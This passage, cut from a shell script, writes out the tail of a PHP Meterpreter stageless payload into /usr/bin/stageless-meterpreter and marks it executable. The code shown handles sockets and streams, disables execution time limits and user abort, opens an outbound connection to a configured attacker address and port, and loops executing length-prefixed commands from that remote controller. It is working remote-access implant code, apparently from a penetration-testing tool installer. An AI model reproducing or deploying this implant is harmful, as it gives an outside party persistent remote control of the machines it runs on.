            register_socket(\$sock, \$raw_ip, \$port);
        }
    }
    return \$sock;
}
function eof(\$resource)
{
    \$ret = false;
    switch (get_rtype(\$resource)) {
        case 'socket':
            break;
        case 'stream':
            \$ret = feof(\$resource);
            break;
    }
    return \$ret;
}
function close(\$resource)
{
    my_print("Closing resource \$resource");
    global \$resource_type_map, \$udp_host_map;
    remove_reader(\$resource);
    switch (get_rtype(\$resource)) {
        case 'socket':
            \$ret = socket_close(\$resource);
            break;
        case 'stream':
            \$ret = fclose(\$resource);
            break;
    }
    if (array_key_exists((int) \$resource, \$resource_type_map)) {
        unset(\$resource_type_map[(int) \$resource]);
    }
    if (array_key_exists((int) \$resource, \$udp_host_map)) {
        my_print("Removing \$resource from udp_host_map");
        unset(\$udp_host_map[(int) \$resource]);
    }
    return \$ret;
}
function read(\$resource, \$len = null)
{
    global \$udp_host_map;
    if (is_null(\$len)) {
        \$len = 8192;
    }
    \$buff = '';
    switch (get_rtype(\$resource)) {
        case 'socket':
            if (array_key_exists((int) \$resource, \$udp_host_map)) {
                my_print("Reading UDP socket");
                list(\$host, \$port) = \$udp_host_map[(int) \$resource];
                socket_recvfrom(\$resource, \$buff, \$len, PHP_BINARY_READ, \$host, \$port);
            } else {
                my_print("Reading TCP socket");
                \$buff .= socket_read(\$resource, \$len, PHP_BINARY_READ);
            }
            break;
        case 'stream':
            global \$msgsock;
            \$r = Array(
                \$resource
            );
            my_print("Calling select to see if there's data on \$resource");
            while (true) {
                \$w   = NULL;
                \$e   = NULL;
                \$t   = 0;
                \$cnt = stream_select(\$r, \$w, \$e, \$t);
                if (\$cnt === 0) {
                    break;
                }
                if (\$cnt === false or feof(\$resource)) {
                    my_print("Checking for failed read...");
                    if (empty(\$buff)) {
                        my_print("---- EOF ON \$resource ----");
                        \$buff = false;
                    }
                    break;
                }
                \$md = stream_get_meta_data(\$resource);
                dump_array(\$md);
                if (\$md['unread_bytes'] > 0) {
                    \$buff .= fread(\$resource, \$md['unread_bytes']);
                    break;
                } else {
                    \$tmp = fread(\$resource, \$len);
                    \$buff .= \$tmp;
                    if (strlen(\$tmp) < \$len) {
                        break;
                    }
                }
                if (\$resource != \$msgsock) {
                    my_print("buff: '\$buff'");
                }
                \$r = Array(
                    \$resource
                );
            }
            my_print(sprintf("Done with the big read loop on \$resource, got %d bytes", strlen(\$buff)));
            break;
        default:
            \$cid = get_channel_id_from_resource(\$resource);
            \$c   = get_channel_by_id(\$cid);
            if (\$c and \$c['data']) {
                \$buff      = substr(\$c['data'], 0, \$len);
                \$c['data'] = substr(\$c['data'], \$len);
                my_print("Aha! got some leftovers");
            } else {
                my_print("Wtf don't know how to read from resource \$resource, c: \$c");
                if (is_array(\$c)) {
                    dump_array(\$c);
                }
                break;
            }
    }
    my_print(sprintf("Read %d bytes", strlen(\$buff)));
    return \$buff;
}
function write(\$resource, \$buff, \$len = 0)
{
    global \$udp_host_map;
    if (\$len == 0) {
        \$len = strlen(\$buff);
    }
    \$count = false;
    switch (get_rtype(\$resource)) {
        case 'socket':
            if (array_key_exists((int) \$resource, \$udp_host_map)) {
                my_print("Writing UDP socket");
                list(\$host, \$port) = \$udp_host_map[(int) \$resource];
                \$count = socket_sendto(\$resource, \$buff, \$len, \$host, \$port);
            } else {
                \$count = socket_write(\$resource, \$buff, \$len);
            }
            break;
        case 'stream':
            \$count = fwrite(\$resource, \$buff, \$len);
            fflush(\$resource);
            break;
        default:
            my_print("Wtf don't know how to write to resource \$resource");
            break;
    }
    return \$count;
}
function get_rtype(\$resource)
{
    global \$resource_type_map;
    if (array_key_exists((int) \$resource, \$resource_type_map)) {
        return \$resource_type_map[(int) \$resource];
    }
    return false;
}
function select(&\$r, &\$w, &\$e, \$tv_sec = 0, \$tv_usec = 0)
{
    \$streams_r = array();
    \$streams_w = array();
    \$streams_e = array();
    \$sockets_r = array();
    \$sockets_w = array();
    \$sockets_e = array();
    if (\$r) {
        foreach (\$r as \$resource) {
            switch (get_rtype(\$resource)) {
                case 'socket':
                    \$sockets_r[] = \$resource;
                    break;
                case 'stream':
                    \$streams_r[] = \$resource;
                    break;
                default:
                    my_print("Unknown resource type");
                    break;
            }
        }
    }
    if (\$w) {
        foreach (\$w as \$resource) {
            switch (get_rtype(\$resource)) {
                case 'socket':
                    \$sockets_w[] = \$resource;
                    break;
                case 'stream':
                    \$streams_w[] = \$resource;
                    break;
                default:
                    my_print("Unknown resource type");
                    break;
            }
        }
    }
    if (\$e) {
        foreach (\$e as \$resource) {
            switch (get_rtype(\$resource)) {
                case 'socket':
                    \$sockets_e[] = \$resource;
                    break;
                case 'stream':
                    \$streams_e[] = \$resource;
                    break;
                default:
                    my_print("Unknown resource type");
                    break;
            }
        }
    }
    \$n_sockets = count(\$sockets_r) + count(\$sockets_w) + count(\$sockets_e);
    \$n_streams = count(\$streams_r) + count(\$streams_w) + count(\$streams_e);
    \$r         = array();
    \$w         = array();
    \$e         = array();
    if (count(\$sockets_r) == 0) {
        \$sockets_r = null;
    }
    if (count(\$sockets_w) == 0) {
        \$sockets_w = null;
    }
    if (count(\$sockets_e) == 0) {
        \$sockets_e = null;
    }
    if (count(\$streams_r) == 0) {
        \$streams_r = null;
    }
    if (count(\$streams_w) == 0) {
        \$streams_w = null;
    }
    if (count(\$streams_e) == 0) {
        \$streams_e = null;
    }
    \$count = 0;
    if (\$n_sockets > 0) {
        \$res = socket_select(\$sockets_r, \$sockets_w, \$sockets_e, \$tv_sec, \$tv_usec);
        if (false === \$res) {
            return false;
        }
        if (is_array(\$r) && is_array(\$sockets_r)) {
            \$r = array_merge(\$r, \$sockets_r);
        }
        if (is_array(\$w) && is_array(\$sockets_w)) {
            \$w = array_merge(\$w, \$sockets_w);
        }
        if (is_array(\$e) && is_array(\$sockets_e)) {
            \$e = array_merge(\$e, \$sockets_e);
        }
        \$count += \$res;
    }
    if (\$n_streams > 0) {
        \$res = stream_select(\$streams_r, \$streams_w, \$streams_e, \$tv_sec, \$tv_usec);
        if (false === \$res) {
            return false;
        }
        if (is_array(\$r) && is_array(\$streams_r)) {
            \$r = array_merge(\$r, \$streams_r);
        }
        if (is_array(\$w) && is_array(\$streams_w)) {
            \$w = array_merge(\$w, \$streams_w);
        }
        if (is_array(\$e) && is_array(\$streams_e)) {
            \$e = array_merge(\$e, \$streams_e);
        }
        \$count += \$res;
    }
    return \$count;
}
function add_reader(\$resource)
{
    global \$readers;
    if (is_resource(\$resource) && !in_array(\$resource, \$readers)) {
        \$readers[] = \$resource;
    }
}
function remove_reader(\$resource)
{
    global \$readers;
    if (in_array(\$resource, \$readers)) {
        foreach (\$readers as \$key => \$r) {
            if (\$r == \$resource) {
                unset(\$readers[\$key]);
            }
        }
    }
}
ob_implicit_flush();
@ignore_user_abort(true);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
if (!isset(\$GLOBALS['msgsock'])) {
    my_print("Don't have a msgsock, trying to connect(\$ipaddr, \$port)");
    \$msgsock = connect(\$ipaddr, \$port);
    if (!\$msgsock) {
        die();
    }
} else {
    \$msgsock      = \$GLOBALS['msgsock'];
    \$msgsock_type = \$GLOBALS['msgsock_type'];
    switch (\$msgsock_type) {
        case 'socket':
            register_socket(\$msgsock);
            break;
        case 'stream':
        default:
            register_stream(\$msgsock);
    }
}
add_reader(\$msgsock);
\$r = \$GLOBALS['readers'];
\$w = NULL;
\$e = NULL;
\$t = 1;
while (false !== (\$cnt = select(\$r, \$w, \$e, \$t))) {
    \$read_failed = false;
    for (\$i = 0; \$i < \$cnt; \$i++) {
        \$ready = \$r[\$i];
        if (\$ready == \$msgsock) {
            \$request = read(\$msgsock, 8);
            if (false == \$request) {
                break 2;
            }
            \$a     = unpack("Nlen/Ntype", \$request);
            \$len   = \$a['len'];
            \$ptype = \$a['type'];
            while (strlen(\$request) < \$a['len']) {
                \$request .= read(\$msgsock, \$len - strlen(\$request));
            }
            \$response = create_response(\$request);
            write(\$msgsock, \$response);
        } else {
            \$data = read(\$ready);
            if (false === \$data) {
                handle_dead_resource_channel(\$ready);
            } elseif (strlen(\$data) > 0) {
                my_print(sprintf("Read returned %s bytes", strlen(\$data)));
                \$request = handle_resource_read_channel(\$ready, \$data);
                if (\$request) {
                    write(\$msgsock, \$request);
                }
            }
        }
    }
    \$r = \$GLOBALS['readers'];
}
my_print("Finished");
my_print("--------------------");
close(\$msgsock);

EOF
  chmod +x /usr/bin/stageless-meterpreter
}
